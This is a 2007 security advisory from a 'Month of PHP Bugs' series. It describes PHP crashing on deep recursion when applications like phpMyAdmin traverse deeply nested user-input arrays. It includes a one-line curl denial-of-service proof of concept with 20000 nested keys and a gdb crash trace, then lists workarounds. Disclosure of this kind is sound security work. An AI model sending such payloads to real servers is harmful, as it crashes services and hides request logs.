BACK

CREDIT

POC or EXPLOIT

REFERENCES






Thu, 01 Mar 2007

Summary

The first day of MoPB is dedicated to vulnerabilities that are already known but are not yet or will never be fixed. The next bug of this category is the problem that PHP does not protect against deep recursions. Whenever a PHP application goes into a very deep recursion it will crash when it runs out of stack. This is actually a very old problem but last year it got a CVE name assigned.

However a common mistake is to say this is only a local problem. There are many PHP applications out there that can be forced into a deep recursion. Another wrong believe is that crashing PHP is not a security issue. Actually when PHP crashs, many webservers will not log the request parameters, but only the crash and secondly a crash will kill all other threads of a multithreaded webserver.

Affected versions

All versions of PHP are affected.

Detailed information

Nowadays many PHP applications perform checks or preparation steps on the user input. It is for example not uncommon that PHP applications take the user input and remove the effect of magic_quotes_gpc on servers where it is activated or even emulate register_globals=on/off situations.

Often this is done by a simple recursive function that traverses the user input and performs the necessary manipulations. However PHP accepts very deep array structures in the user input. When such an array is passed to the PHP applications like phpMyAdmin they get recursively traversed, until the PHP process runs out of stack and PHP crashs.

$ curl http://127.0.0.1/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1
curl: (52) Empty reply from server

And looking at the Apache process at the same time with gdb.

$ gdb
(...)
(gdb) attach 12345
(gdb) continue
Continuing

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211787584 (LWP 6073)]
0xb799c218 in zend_get_zval_ptr_ptr () from /usr/lib/apache/1.3/libphp5.so
(gdb) bt
#0  0xb799c218 in zend_get_zval_ptr_ptr () from /usr/lib/apache/1.3/libphp5.so
#1  0xb793c73a in execute () from /usr/lib/apache/1.3/libphp5.so
#2  0xb793baf8 in execute () from /usr/lib/apache/1.3/libphp5.so
...
#24863 0xb79406e3 in execute () from /usr/lib/apache/1.3/libphp5.so
#24864 0xb793baf8 in execute () from /usr/lib/apache/1.3/libphp5.so
#24865 0xb791fde8 in zend_execute_scripts () from /usr/lib/apache/1.3/libphp5.so
#24866 0xb78dbb6b in php_execute_script () from /usr/lib/apache/1.3/libphp5.so
#24867 0xb799df9d in apache_php_module_main () from /usr/lib/apache/1.3/libphp5.so
...
(gdb) x/5i $eip
0xb799c218 :        call   0xb7704570 
0xb799c21d :        add    $0x2373cf,%ebx
0xb799c223 :        test   %edx,%edx
0xb799c225 :        je     0xb799c3e6 
0xb799c22b :        mov    0xc(%ebp),%eax
(gdb) x/20x $esp-4
0xbf322f9c:     Cannot access memory at address 0xbf322f9c
(gdb)

From the backtrace and the registers one can see that PHP tried calling a function but because the stackpointer points to an not paged memory address it will result in a crash.

Proof of concept, exploit or instructions to reproduce

See details.

Notes

The PHP developers are unwilling to fix this problem. It was brought up a myriad of times in discussions but they wont accept any solution for it.

As a user of PHP there are only a few possible workarounds. You can install an extension like Suhosin (or xdebug) that will stop applications in deep recursion instead of letting them crash or you can patch the same functionality directly into the PHP core.

Update: The description in CVE-2006-1549 is misleading. It reads as if the bugs were fixed in PHP 4.4.3 and PHP 5.2.0, which is not the case.